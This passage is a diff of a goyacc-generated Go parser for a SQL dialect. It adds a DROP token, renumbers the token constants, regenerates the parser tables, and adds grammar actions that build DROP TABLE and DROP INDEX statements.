} const CREATE = 57346 -const USE = 57347 -const DATABASE = 57348 -const SNAPSHOT = 57349 -const SINCE = 57350 -const AFTER = 57351 -const BEFORE = 57352 -const UNTIL = 57353 -const TX = 57354 -const OF = 57355 -const TIMESTAMP = 57356 -const TABLE = 57357 -const UNIQUE = 57358 -const INDEX = 57359 -const ON = 57360 -const ALTER = 57361 -const ADD = 57362 -const RENAME = 57363 -const TO = 57364 -const COLUMN = 57365 -const PRIMARY = 57366 -const KEY = 57367 -const BEGIN = 57368 -const TRANSACTION = 57369 -const COMMIT = 57370 -const ROLLBACK = 57371 -const INSERT = 57372 -const UPSERT = 57373 -const INTO = 57374 -const VALUES = 57375 -const DELETE = 57376 -const UPDATE = 57377 -const SET = 57378 -const CONFLICT = 57379 -const DO = 57380 -const NOTHING = 57381 -const SELECT = 57382 -const DISTINCT = 57383 -const FROM = 57384 -const JOIN = 57385 -const HAVING = 57386 -const WHERE = 57387 -const GROUP = 57388 -const BY = 57389 -const LIMIT = 57390 -const OFFSET = 57391 -const ORDER = 57392 -const ASC = 57393 -const DESC = 57394 -const AS = 57395 -const UNION = 57396 -const ALL = 57397 -const NOT = 57398 -const LIKE = 57399 -const IF = 57400 -const EXISTS = 57401 -const IN = 57402 -const IS = 57403 -const AUTO_INCREMENT = 57404 -const NULL = 57405 -const CAST = 57406 -const SCAST = 57407 -const NPARAM = 57408 -const PPARAM = 57409 -const JOINTYPE = 57410 -const LOP = 57411 -const CMPOP = 57412 -const IDENTIFIER = 57413 -const TYPE = 57414 -const INTEGER = 57415 -const FLOAT = 57416 -const VARCHAR = 57417 -const BOOLEAN = 57418 -const BLOB = 57419 -const AGGREGATE_FUNC = 57420 -const ERROR = 57421 -const DOT = 57422 -const STMT_SEPARATOR = 57423 +const DROP = 57347 +const USE = 57348 +const DATABASE = 57349 +const SNAPSHOT = 57350 +const SINCE = 57351 +const AFTER = 57352 +const BEFORE = 57353 +const UNTIL = 57354 +const TX = 57355 +const OF = 57356 +const TIMESTAMP = 57357 +const TABLE = 57358 +const UNIQUE = 57359 +const INDEX = 57360 +const ON = 57361 +const ALTER = 57362 +const ADD = 57363 +const RENAME = 57364 +const TO = 57365 +const COLUMN = 57366 +const PRIMARY = 57367 +const KEY = 57368 +const BEGIN = 57369 +const TRANSACTION = 57370 +const COMMIT = 57371 +const ROLLBACK = 57372 +const INSERT = 57373 +const UPSERT = 57374 +const INTO = 57375 +const VALUES = 57376 +const DELETE = 57377 +const UPDATE = 57378 +const SET = 57379 +const CONFLICT = 57380 +const DO = 57381 +const NOTHING = 57382 +const SELECT = 57383 +const DISTINCT = 57384 +const FROM = 57385 +const JOIN = 57386 +const HAVING = 57387 +const WHERE = 57388 +const GROUP = 57389 +const BY = 57390 +const LIMIT = 57391 +const OFFSET = 57392 +const ORDER = 57393 +const ASC = 57394 +const DESC = 57395 +const AS = 57396 +const UNION = 57397 +const ALL = 57398 +const NOT = 57399 +const LIKE = 57400 +const IF = 57401 +const EXISTS = 57402 +const IN = 57403 +const IS = 57404 +const AUTO_INCREMENT = 57405 +const NULL = 57406 +const CAST = 57407 +const SCAST = 57408 +const NPARAM = 57409 +const PPARAM = 57410 +const JOINTYPE = 57411 +const LOP = 57412 +const CMPOP = 57413 +const IDENTIFIER = 57414 +const TYPE = 57415 +const INTEGER = 57416 +const FLOAT = 57417 +const VARCHAR = 57418 +const BOOLEAN = 57419 +const BLOB = 57420 +const AGGREGATE_FUNC = 57421 +const ERROR = 57422 +const DOT = 57423 +const STMT_SEPARATOR = 57424 var yyToknames = [...]string{ "$end", "error", "$unk", "CREATE", + "DROP", "USE", "DATABASE", "SNAPSHOT", @@ -238,205 +240,211 @@ var yyExca = [...]int16{ -1, 1, 1, -1, -2, 0, - -1, 74, - 57, 139, - 60, 139, - -2, 127, - -1, 189, - 43, 103, - -2, 98, - -1, 218, - 43, 103, + -1, 79, + 58, 141, + 61, 141, + -2, 129, + -1, 197, + 44, 105, -2, 100, + -1, 227, + 44, 105, + -2, 102, } const yyPrivate = 57344 -const yyLast = 378 +const yyLast = 388 var yyAct = [...]int16{ - 73, 295, 60, 183, 140, 211, 235, 239, 88, 137, - 146, 175, 217, 106, 234, 98, 176, 157, 45, 6, - 79, 268, 101, 181, 226, 206, 181, 18, 181, 181, - 277, 272, 72, 254, 252, 271, 227, 182, 240, 150, - 255, 253, 222, 76, 205, 203, 78, 195, 194, 180, - 91, 87, 236, 89, 90, 241, 148, 59, 92, 110, - 82, 83, 84, 85, 86, 61, 202, 133, 199, 133, - 77, 159, 132, 117, 103, 81, 76, 128, 129, 78, - 130, 112, 131, 91, 87, 109, 89, 90, 97, 96, - 20, 92, 62, 82, 83, 84, 85, 86, 61, 61, - 142, 99, 110, 77, 62, 57, 124, 139, 81, 294, - 258, 288, 154, 149, 122, 123, 143, 153, 257, 161, - 162, 163, 164, 165, 166, 206, 151, 118, 119, 121, - 120, 196, 124, 174, 177, 124, 181, 144, 105, 251, - 122, 123, 231, 27, 28, 223, 188, 197, 186, 171, - 172, 189, 178, 118, 119, 121, 120, 108, 121, 120, - 173, 62, 138, 192, 204, 193, 190, 187, 191, 198, - 201, 62, 124, 257, 71, 107, 233, 124, 61, 209, - 122, 123, 220, 102, 179, 213, 123, 267, 158, 160, - 215, 155, 158, 118, 119, 121, 120, 152, 118, 119, - 121, 120, 113, 177, 221, 124, 65, 232, 26, 228, - 63, 34, 49, 238, 224, 127, 44, 145, 200, 230, - 266, 242, 229, 93, 126, 237, 118, 119, 121, 120, - 124, 244, 243, 250, 168, 111, 246, 177, 40, 169, - 249, 167, 170, 64, 115, 116, 55, 35, 259, 296, - 297, 260, 280, 212, 149, 264, 263, 184, 287, 275, - 262, 99, 274, 39, 269, 245, 104, 32, 276, 37, - 18, 285, 278, 270, 53, 281, 210, 208, 283, 31, - 30, 21, 247, 286, 135, 289, 134, 41, 42, 207, - 292, 293, 290, 94, 95, 76, 284, 298, 78, 2, - 299, 214, 91, 87, 114, 89, 90, 67, 10, 11, - 92, 66, 82, 83, 84, 85, 86, 61, 185, 147, - 38, 29, 77, 12, 43, 70, 69, 81, 47, 48, - 7, 22, 8, 9, 13, 14, 33, 141, 15, 16, - 23, 25, 24, 19, 18, 256, 100, 125, 248, 265, - 50, 51, 52, 279, 291, 225, 261, 75, 74, 273, - 219, 218, 216, 68, 46, 54, 36, 58, 56, 80, - 282, 136, 156, 17, 5, 4, 3, 1, + 78, 304, 65, 191, 147, 220, 244, 248, 93, 144, + 153, 182, 226, 112, 243, 104, 183, 6, 164, 48, + 84, 19, 277, 107, 189, 214, 189, 189, 235, 286, + 189, 189, 281, 263, 261, 236, 280, 81, 215, 190, + 83, 264, 262, 231, 96, 92, 249, 94, 95, 157, + 213, 211, 97, 203, 87, 88, 89, 90, 91, 66, + 64, 202, 188, 250, 82, 116, 155, 130, 245, 86, + 210, 207, 139, 139, 166, 128, 129, 109, 123, 140, + 138, 136, 134, 135, 118, 212, 130, 137, 124, 125, + 127, 126, 115, 130, 21, 180, 103, 102, 67, 303, + 130, 128, 129, 297, 267, 66, 149, 124, 125, 127, + 126, 62, 130, 146, 124, 125, 127, 126, 161, 156, + 128, 129, 150, 127, 126, 168, 169, 170, 171, 172, + 173, 67, 158, 124, 125, 127, 126, 266, 214, 181, + 184, 116, 130, 105, 160, 204, 189, 111, 260, 67, + 185, 129, 240, 196, 179, 194, 66, 76, 197, 232, + 186, 28, 29, 124, 125, 127, 126, 266, 114, 205, + 200, 178, 201, 199, 198, 195, 206, 209, 67, 151, + 145, 242, 218, 108, 187, 165, 113, 167, 162, 159, + 119, 99, 70, 222, 68, 37, 54, 52, 224, 47, + 152, 229, 276, 259, 133, 208, 165, 175, 275, 98, + 258, 184, 230, 132, 174, 241, 176, 237, 130, 177, + 117, 43, 247, 233, 69, 60, 27, 239, 238, 38, + 251, 289, 121, 122, 246, 305, 306, 221, 192, 296, + 253, 252, 42, 284, 271, 255, 184, 105, 283, 254, + 110, 35, 40, 19, 294, 287, 279, 268, 58, 219, + 269, 77, 154, 156, 273, 272, 217, 44, 45, 34, + 33, 22, 256, 278, 142, 141, 216, 285, 100, 101, + 36, 2, 293, 223, 290, 120, 71, 292, 53, 72, + 193, 30, 295, 31, 298, 46, 55, 56, 57, 301, + 302, 299, 32, 41, 148, 81, 307, 20, 83, 308, + 75, 74, 96, 92, 265, 94, 95, 50, 51, 106, + 97, 131, 87, 88, 89, 90, 91, 66, 81, 257, + 274, 83, 82, 288, 300, 96, 92, 86, 94, 95, + 10, 12, 11, 97, 234, 87, 88, 89, 90, 91, + 66, 270, 80, 79, 282, 82, 13, 228, 227, 225, + 86, 73, 49, 7, 23, 8, 9, 14, 15, 59, + 39, 16, 17, 24, 26, 25, 63, 19, 61, 85, + 291, 143, 163, 18, 5, 4, 3, 1, } var yyPact = [...]int16{ - 304, -1000, -1000, 3, -1000, -1000, -1000, 254, -1000, -1000, - 325, 137, 306, 248, 247, 225, 140, 193, 228, -1000, - 304, -1000, 180, 180, 180, 307, -1000, 145, 320, 141, - 140, 140, 140, 238, -1000, 191, 21, -1000, -1000, 139, - 187, 135, 293, 180, -1000, -1000, 315, 20, 20, 273, - 1, 0, 216, 112, 230, -1000, 224, -1000, 57, 104, - -1000, -3, 22, -1000, 176, -7, 131, 286, -1000, 20, - 20, -1000, 239, 45, 159, -1000, 239, 239, -8, -1000, - -1000, 239, -1000, -1000, -1000, -1000, -1000, -16, -1000, -1000, - -1000, -1000, -21, -1000, 263, 261, 91, 91, 332, 239, - 56, -1000, 147, -1000, -32, 100, -1000, -1000, 126, 33, - 120, -1000, 117, -17, 118, -1000, -1000, 45, 239, 239, - 239, 239, 239, 239, 178, 182, 77, -1000, 116, 74, - 230, 71, 239, 239, 117, 113, -40, 55, -1000, -52, - 209, 301, 45, 332, 112, 239, 332, 320, 230, 104, - -19, 104, -1000, -41, -42, -1000, 50, -1000, 75, 91, - -20, 74, 74, 169, 169, 116, 144, -1000, 155, 239, - -22, -1000, -44, -1000, 111, -45, 44, 45, -1000, 267, - 244, 108, 243, 204, 239, 283, 209, -1000, 45, 114, - 104, -47, -1000, -1000, -1000, -1000, 121, -66, -53, 91, - -1000, 116, -13, -1000, 70, -1000, 239, 105, -36, -1000, - -36, -1000, 239, 45, -33, 204, 216, -1000, 114, 222, - -1000, -1000, 104, 257, -1000, 177, 66, -1000, -55, -48, - -56, -49, 45, -1000, 92, -1000, 239, 37, 45, -1000, - -1000, 91, -1000, 214, -1000, -32, -1000, -33, 158, -1000, - 124, -70, -1000, -1000, -1000, -1000, -1000, -36, 236, -54, - -58, 218, 212, 332, -59, -1000, -1000, -1000, -1000, -1000, - 234, -1000, -1000, 202, 239, 90, 278, -1000, 232, 209, - 211, 45, 30, -1000, 239, -1000, 204, 90, 90, 45, - -1000, 28, 198, -1000, 90, -1000, -1000, -1000, 198, -1000, + 336, -1000, -1000, 6, -1000, -1000, -1000, 243, -1000, -1000, + 357, 154, 275, 286, 237, 236, 208, 123, 174, 210, + -1000, 336, -1000, 162, 162, 162, 277, -1000, 127, 308, + 125, 269, 124, 123, 123, 123, 221, -1000, 169, 26, + -1000, -1000, 122, 167, 120, 267, 162, -1000, -1000, 299, + 248, 248, -1000, 119, 257, 8, 7, 201, 111, 212, + -1000, 207, -1000, 65, 114, -1000, 3, 60, -1000, 160, + -5, 118, 266, -1000, 248, 248, -1000, 271, 50, 147, + -1000, 271, 271, -8, -1000, -1000, 271, -1000, -1000, -1000, + -1000, -1000, -9, -1000, -1000, -1000, -1000, -16, -1000, -10, + 251, 250, 108, 108, 298, 271, 97, -1000, 129, -1000, + -23, 77, -1000, -1000, 117, 59, 116, -1000, 113, -15, + 115, -1000, -1000, 50, 271, 271, 271, 271, 271, 271, + 150, 158, 98, -1000, 80, 38, 212, 5, 271, 271, + 108, 113, 112, -28, 64, -1000, -51, 189, 272, 50, + 298, 111, 271, 298, 308, 212, 114, -17, 114, -1000, + -29, -37, -1000, 63, -1000, 96, 108, -18, 38, 38, + 156, 156, 80, 24, -1000, 141, 271, -19, -1000, -39, + -1000, 31, -40, 56, 50, -52, -1000, 253, 232, 110, + 225, 187, 271, 264, 189, -1000, 50, 132, 114, -47, + -1000, -1000, -1000, -1000, 134, -63, -55, 108, -1000, 80, + -20, -1000, 79, -1000, 271, -1000, 109, -21, -1000, -21, + -1000, 271, 50, -26, 187, 201, -1000, 132, 205, -1000, + -1000, 114, 246, -1000, 146, 74, -1000, -56, -48, -57, + -49, 50, -1000, 85, -1000, 271, 55, 50, -1000, -1000, + 108, -1000, 197, -1000, -23, -1000, -26, 145, -1000, 138, + -70, -1000, -1000, -1000, -1000, -1000, -21, 218, -54, -58, + 203, 195, 298, -61, -1000, -1000, -1000, -1000, -1000, 216, + -1000, -1000, 180, 271, 106, 263, -1000, 214, 189, 191, + 50, 21, -1000, 271, -1000, 187, 106, 106, 50, -1000, + 17, 183, -1000, 106, -1000, -1000, -1000, 183, -1000, } var yyPgo = [...]int16{ - 0, 377, 299, 376, 375, 374, 19, 373, 372, 17, - 9, 7, 371, 370, 14, 6, 16, 11, 369, 8, - 20, 368, 367, 2, 366, 365, 10, 319, 18, 364, - 363, 174, 362, 12, 361, 360, 0, 15, 359, 358, - 357, 356, 3, 5, 355, 13, 354, 353, 1, 4, - 263, 349, 348, 347, 22, 346, 345, 343, + 0, 387, 281, 386, 385, 384, 17, 383, 382, 18, + 9, 7, 381, 380, 14, 6, 16, 11, 379, 8, + 20, 378, 376, 2, 370, 369, 10, 262, 19, 362, + 361, 157, 359, 12, 358, 357, 0, 15, 354, 353, + 352, 351, 3, 5, 344, 13, 334, 333, 1, 4, + 242, 330, 329, 321, 23, 319, 314, 307, } var yyR1 = [...]int8{ 0, 1, 2, 2, 57, 57, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 50, 50, 11, 11, 5, 5, 5, 5, - 56, 56, 55, 55, 54, 12, 12, 14, 14, 15, - 10, 10, 13, 13, 17, 17, 16, 16, 18, 18, - 18, 18, 18, 18, 18, 18, 18, 18, 19, 8, - 8, 9, 44, 44, 51, 51, 52, 52, 52, 6, - 6, 7, 25, 25, 24, 24, 21, 21, 22, 22, - 20, 20, 20, 23, 23, 26, 26, 26, 27, 28, - 29, 29, 29, 30, 30, 30, 31, 31, 32, 32, - 33, 33, 34, 35, 35, 37, 37, 41, 41, 38, - 38, 42, 42, 43, 43, 47, 47, 49, 49, 46, - 46, 48, 48, 48, 45, 45, 45, 36, 36, 36, - 36, 36, 36, 36, 36, 39, 39, 39, 39, 53, - 53, 40, 40, 40, 40, 40, 40, 40, 40, + 4, 4, 4, 4, 50, 50, 11, 11, 5, 5, + 5, 5, 56, 56, 55, 55, 54, 12, 12, 14, + 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, + 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, + 19, 8, 8, 9, 44, 44, 51, 51, 52, 52, + 52, 6, 6, 7, 25, 25, 24, 24, 21, 21, + 22, 22, 20, 20, 20, 23, 23, 26, 26, 26, + 27, 28, 29, 29, 29, 30, 30, 30, 31, 31, + 32, 32, 33, 33, 34, 35, 35, 37, 37, 41, + 41, 38, 38, 42, 42, 43, 43, 47, 47, 49, + 49, 46, 46, 48, 48, 48, 45, 45, 45, 36, + 36, 36, 36, 36, 36, 36, 36, 39, 39, 39, + 39, 53, 53, 40, 40, 40, 40, 40, 40, 40, + 40, } var yyR2 = [...]int8{ 0, 1, 2, 3, 0, 1, 1, 1, 1, 2, - 1, 1, 1, 4, 2, 3, 3, 11, 8, 9, - 6, 8, 0, 3, 1, 3, 9, 8, 7, 8, - 0, 4, 1, 3, 3, 0, 1, 1, 3, 3, - 1, 3, 1, 3, 0, 1, 1, 3, 1, 1, - 1, 1, 1, 6, 1, 1, 1, 1, 4, 1, - 3, 5, 0, 3, 0, 1, 0, 1, 2, 1, - 4, 13, 0, 1, 0, 1, 1, 1, 2, 4, - 1, 4, 4, 1, 3, 3, 4, 2, 1, 2, - 0, 2, 2, 0, 2, 2, 2, 1, 0, 1, - 1, 2, 6, 0, 1, 0, 2, 0, 3, 0, - 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, - 4, 0, 1, 1, 0, 1, 2, 1, 1, 2, - 2, 4, 4, 6, 6, 1, 1, 3, 3, 0, - 1, 3, 3, 3, 3, 3, 3, 3, 4, + 1, 1, 1, 4, 2, 3, 3, 11, 3, 8, + 9, 7, 6, 8, 0, 3, 1, 3, 9, 8, + 7, 8, 0, 4, 1, 3, 3, 0, 1, 1, + 3, 3, 1, 3, 1, 3, 0, 1, 1, 3, + 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, + 4, 1, 3, 5, 0, 3, 0, 1, 0, 1, + 2, 1, 4, 13, 0, 1, 0, 1, 1, 1, + 2, 4, 1, 4, 4, 1, 3, 3, 4, 2, + 1, 2, 0, 2, 2, 0, 2, 2, 2, 1, + 0, 1, 1, 2, 6, 0, 1, 0, 2, 0, + 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, + 4, 2, 4, 0, 1, 1, 0, 1, 2, 1, + 1, 2, 2, 4, 4, 6, 6, 1, 1, 3, + 3, 0, 1, 3, 3, 3, 3, 3, 3, 3, + 4, } var yyChk = [...]int16{ - -1000, -1, -2, -3, -4, -5, -6, 26, 28, 29, - 4, 5, 19, 30, 31, 34, 35, -7, 40, -57, - 87, 27, 6, 15, 17, 16, 71, 6, 7, 15, - 32, 32, 42, -27, 71, 54, -24, 41, -2, -50, - 58, -50, -50, 17, 71, -28, -29, 8, 9, 71, - -27, -27, -27, 36, -25, 55, -21, 84, -22, -20, - -23, 78, 71, 71, 56, 71, 18, -50, -30, 11, - 10, -31, 12, -36, -39, -40, 56, 83, 59, -20, - -18, 88, 73, 74, 75, 76, 77, 64, -19, 66, - 67, 63, 71, -31, 20, 21, 88, 88, -37, 45, - -55, -54, 71, -6, 42, 81, -45, 71, 53, 88, - 80, 59, 88, 71, 18, -31, -31, -36, 82, 83, - 85, 84, 69, 70, 61, -53, 65, 56, -36, -36, - 88, -36, 88, 88, 23, 23, -12, -10, 71, -10, - -49, 5, -36, -37, 81, 70, -26, -27, 88, -19, - 71, -20, 71, 84, -23, 71, -8, -9, 71, 88, - 71, -36, -36, -36, -36, -36, -36, 63, 56, 57, - 60, 72, -6, 89, -36, -17, -16, -36, -9, 71, - 89, 81, 89, -42, 48, 17, -49, -54, -36, -49, - -28, -6, -45, -45, 89, 89, 81, 72, -10, 88, - 63, -36, 88, 89, 53, 89, 81, 22, 33, 71, - 33, -43, 49, -36, 18, -42, -32, -33, -34, -35, - 68, -45, 89, 24, -9, -44, 90, 89, -10, -6, - -16, 72, -36, 71, -14, -15, 88, -14, -36, -11, - 71, 88, -43, -37, -33, 43, -45, 25, -52, 63, - 56, 73, 89, 89, 89, 89, -56, 81, 18, -17, - -10, -41, 46, -26, -11, -51, 62, 63, 91, -15, - 37, 89, 89, -38, 44, 47, -49, 89, 38, -47, - 50, -36, -13, -23, 18, 39, -42, 47, 81, -36, - -43, -46, -23, -23, 81, -48, 51, 52, -23, -48, + -1000, -1, -2, -3, -4, -5, -6, 27, 29, 30, + 4, 6, 5, 20, 31, 32, 35, 36, -7, 41, + -57, 88, 28, 7, 16, 18, 17, 72, 7, 8, + 16, 18, 16, 33, 33, 43, -27, 72, 55, -24, + 42, -2, -50, 59, -50, -50, 18, 72, -28, -29, + 9, 10, 72, 19, 72, -27, -27, -27, 37, -25, + 56, -21, 85, -22, -20, -23, 79, 72, 72, 57, + 72, 19, -50, -30, 12, 11, -31, 13, -36, -39, + -40, 57, 84, 60, -20, -18, 89, 74, 75, 76, + 77, 78, 65, -19, 67, 68, 64, 72, -31, 72, + 21, 22, 89, 89, -37, 46, -55, -54, 72, -6, + 43, 82, -45, 72, 54, 89, 81, 60, 89, 72, + 19, -31, -31, -36, 83, 84, 86, 85, 70, 71, + 62, -53, 66, 57, -36, -36, 89, -36, 89, 89, + 89, 24, 24, -12, -10, 72, -10, -49, 6, -36, + -37, 82, 71, -26, -27, 89, -19, 72, -20, 72, + 85, -23, 72, -8, -9, 72, 89, 72, -36, -36, + -36, -36, -36, -36, 64, 57, 58, 61, 73, -6, + 90, -36, -17, -16, -36, -10, -9, 72, 90, 82, + 90, -42, 49, 18, -49, -54, -36, -49, -28, -6, + -45, -45, 90, 90, 82, 73, -10, 89, 64, -36, + 89, 90, 54, 90, 82, 90, 23, 34, 72, 34, + -43, 50, -36, 19, -42, -32, -33, -34, -35, 69, + -45, 90, 25, -9, -44, 91, 90, -10, -6, -16, + 73, -36, 72, -14, -15, 89, -14, -36, -11, 72, + 89, -43, -37, -33, 44, -45, 26, -52, 64, 57, + 74, 90, 90, 90, 90, -56, 82, 19, -17, -10, + -41, 47, -26, -11, -51, 63, 64, 92, -15, 38, + 90, 90, -38, 45, 48, -49, 90, 39, -47, 51, + -36, -13, -23, 19, 40, -42, 48, 82, -36, -43, + -46, -23, -23, 82, -48, 52, 53, -23, -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, - 0, 0, 0, 0, 0, 0, 0, 69, 74, 2, - 5, 9, 22, 22, 22, 0, 14, 0, 90, 0, - 0, 0, 0, 0, 88, 72, 0, 75, 3, 0, - 0, 0, 0, 22, 15, 16, 93, 0, 0, 0, - 0, 0, 105, 0, 0, 73, 0, 76, 77, 124, - 80, 0, 83, 13, 0, 0, 0, 0, 89, 0, - 0, 91, 0, 97, -2, 128, 0, 0, 0, 135, - 136, 0, 48, 49, 50, 51, 52, 0, 54, 55, - 56, 57, 83, 92, 0, 0, 35, 0, 117, 0, - 105, 32, 0, 70, 0, 0, 78, 125, 0, 0, - 0, 23, 0, 0, 0, 94, 95, 96, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 140, 129, 130, - 0, 0, 0, 44, 0, 0, 0, 36, 40, 0, - 111, 0, 106, 117, 0, 0, 117, 90, 0, 124, - 88, 124, 126, 0, 0, 84, 0, 59, 0, 0, - 0, 141, 142, 143, 144, 145, 146, 147, 0, 0, - 0, 138, 0, 137, 0, 0, 45, 46, 20, 0, - 0, 0, 0, 113, 0, 0, 111, 33, 34, -2, - 124, 0, 87, 79, 81, 82, 0, 62, 0, 0, - 148, 131, 0, 132, 0, 58, 0, 0, 0, 41, - 0, 28, 0, 112, 0, 113, 105, 99, -2, 0, - 104, 85, 124, 0, 60, 66, 0, 18, 0, 0, - 0, 0, 47, 21, 30, 37, 44, 27, 114, 118, - 24, 0, 29, 107, 101, 0, 86, 0, 64, 67, - 0, 0, 19, 133, 134, 53, 26, 0, 0, 0, - 0, 109, 0, 117, 0, 61, 65, 68, 63, 38, - 0, 39, 25, 115, 0, 0, 0, 17, 0, 111, - 0, 110, 108, 42, 0, 31, 113, 0, 0, 102, - 71, 116, 121, 43, 0, 119, 122, 123, 121, 120, + 0, 0, 0, 0, 0, 0, 0, 0, 71, 76, + 2, 5, 9, 24, 24, 24, 0, 14, 0, 92, + 0, 0, 0, 0, 0, 0, 0, 90, 74, 0, + 77, 3, 0, 0, 0, 0, 24, 15, 16, 95, + 0, 0, 18, 0, 0, 0, 0, 107, 0, 0, + 75, 0, 78, 79, 126, 82, 0, 85, 13, 0, + 0, 0, 0, 91, 0, 0, 93, 0, 99, -2, + 130, 0, 0, 0, 137, 138, 0, 50, 51, 52, + 53, 54, 0, 56, 57, 58, 59, 85, 94, 0, + 0, 0, 37, 0, 119, 0, 107, 34, 0, 72, + 0, 0, 80, 127, 0, 0, 0, 25, 0, 0, + 0, 96, 97, 98, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 142, 131, 132, 0, 0, 0, 46, + 0, 0, 0, 0, 38, 42, 0, 113, 0, 108, + 119, 0, 0, 119, 92, 0, 126, 90, 126, 128, + 0, 0, 86, 0, 61, 0, 0, 0, 143, 144, + 145, 146, 147, 148, 149, 0, 0, 0, 140, 0, + 139, 0, 0, 47, 48, 0, 22, 0, 0, 0, + 0, 115, 0, 0, 113, 35, 36, -2, 126, 0, + 89, 81, 83, 84, 0, 64, 0, 0, 150, 133, + 0, 134, 0, 60, 0, 21, 0, 0, 43, 0, + 30, 0, 114, 0, 115, 107, 101, -2, 0, 106, + 87, 126, 0, 62, 68, 0, 19, 0, 0, 0, + 0, 49, 23, 32, 39, 46, 29, 116, 120, 26, + 0, 31, 109, 103, 0, 88, 0, 66, 69, 0, + 0, 20, 135, 136, 55, 28, 0, 0, 0, 0, + 111, 0, 119, 0, 63, 67, 70, 65, 40, 0, + 41, 27, 117, 0, 0, 0, 17, 0, 113, 0, + 112, 110, 44, 0, 33, 115, 0, 0, 104, 73, + 118, 123, 45, 0, 121, 124, 125, 123, 122, } var yyTok1 = [...]int8{ @@ -444,12 +452,12 @@ var yyTok1 = [...]int8{ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 88, 89, 84, 82, 81, 83, 86, 85, 3, 3, + 89, 90, 85, 83, 82, 84, 87, 86, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 90, 3, 91, + 3, 91, 3, 92, } var yyTok2 = [...]int8{ @@ -460,7 +468,8 @@ var yyTok2 = [...]int8{ 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, - 72, 73, 74, 75, 76, 77, 78, 79, 80, 87, + 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, + 88, } var yyTok3 = [...]int8{ @@ -868,266 +877,276 @@ yydefault: yyVAL.stmt = &CreateTableStmt{ifNotExists: yyDollar[3].boolean, table: yyDollar[4].id, colsSpec: yyDollar[6].colsSpec, pkColNames: yyDollar[10].ids} } case 18: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.stmt = &DropTableStmt{table: yyDollar[3].id} + } + case 19: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &CreateIndexStmt{ifNotExists: yyDollar[3].boolean, table: yyDollar[5].id, cols: yyDollar[7].ids} } - case 19: + case 20: yyDollar = yyS[yypt-9 : yypt+1] { yyVAL.stmt = &CreateIndexStmt{unique: true, ifNotExists: yyDollar[4].boolean, table: yyDollar[6].id, cols: yyDollar[8].ids} } - case 20: + case 21: + yyDollar = yyS[yypt-7 : yypt+1] + { + yyVAL.stmt = &DropIndexStmt{table: yyDollar[4].id, cols: yyDollar[6].ids} + } + case 22: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = &AddColumnStmt{table: yyDollar[3].id, colSpec: yyDollar[6].colSpec} } - case 21: + case 23: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &RenameColumnStmt{table: yyDollar[3].id, oldName: yyDollar[6].id, newName: yyDollar[8].id} } - case 22: + case 24: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 23: + case 25: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.boolean = true } - case 24: + case 26: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 25: + case 27: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = yyDollar[2].ids } - case 26: + case 28: yyDollar = yyS[yypt-9 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows, onConflict: yyDollar[9].onConflict} } - case 27: + case 29: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows} } - case 28: + case 30: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].ids, limit: yyDollar[6].exp, offset: yyDollar[7].exp} } - case 29: + case 31: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].ids, limit: yyDollar[7].exp, offset: yyDollar[8].exp} } - case 30: + case 32: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.onConflict = nil } - case 31: + case 33: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.onConflict = &OnConflictDo{} } - case 32: + case 34: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.updates = []*colUpdate{yyDollar[1].update} } - case 33: + case 35: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.updates = append(yyDollar[1].updates, yyDollar[3].update) } - case 34: + case 36: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.update = &colUpdate{col: yyDollar[1].id, op: yyDollar[2].cmpOp, val: yyDollar[3].exp} } - case 35: + case 37: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 36: + case 38: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = yyDollar[1].ids } - case 37: + case 39: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.rows = []*RowSpec{yyDollar[1].row} } - case 38: + case 40: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.rows = append(yyDollar[1].rows, yyDollar[3].row) } - case 39: + case 41: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.row = &RowSpec{Values: 